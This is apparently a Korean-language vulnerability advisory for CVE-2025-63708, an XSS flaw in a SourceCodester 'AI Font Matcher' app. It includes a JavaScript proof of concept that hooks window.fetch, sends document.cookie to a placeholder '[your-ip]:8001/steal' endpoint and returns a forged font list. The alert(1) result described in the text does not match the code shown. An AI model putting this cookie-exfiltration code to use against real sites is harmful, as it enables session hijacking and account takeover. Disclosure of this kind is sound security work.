
CVE ID: CVE-2025-63708
배정일: 11-12-2025
문제 유형: CWE-79 (크로스 사이트 스크립팅)
영향 받는 제품: “AI Font Matcher” (2025-10-10 게시, nid=18425)
제품 페이지: https://www.sourcecodester.com/javascript/18425/ai-font-matcher-using-html-css-and-javascript-source-code.html
발견 날짜: 2025-10-11
연구자: Dylan Davis
애플리케이션은 webfonts fetch에서 받은 데이터를 처리할 때 폰트 패밀리 이름을 검증하지 않습니다. 해당 응답을 제어하거나 가로채는 공격자는 페이지 컨텍스트에서 실행되는 JavaScript를 주입할 수 있으며, 이를 통해 세션 쿠키 탈취 및 계정 탈취가 가능합니다.
이 PoC는 window.fetch를 후킹하고 제어된 Web Fonts 페이로드를 반환하여 코드 실행을 입증합니다.
poc.js를 로드합니다).webfonts를 fetch하는 UI를 트리거하면 alert(1)이 실행되는 것을 확인합니다.window.__origFetch = window.fetch;
window.fetch = async function(input, init) {
const url = (typeof input === 'string') ? input : input?.url;
if (url && url.includes('webfonts')) {
// Exfiltrate cookie to your server
fetch('http://[your-ip]:8001/steal?cookie=' +
encodeURIComponent(document.cookie))
.catch(e => console.log('Exfil failed:', e));
return new Response(JSON.stringify({
kind: "webfonts#webfontList",
items: [{ family: "Playfair Display", category: "serif" }]
}), {
status: 200,
headers: {'Content-Type': 'application/json'}
});
}
return window.__origFetch.apply(this, arguments);
};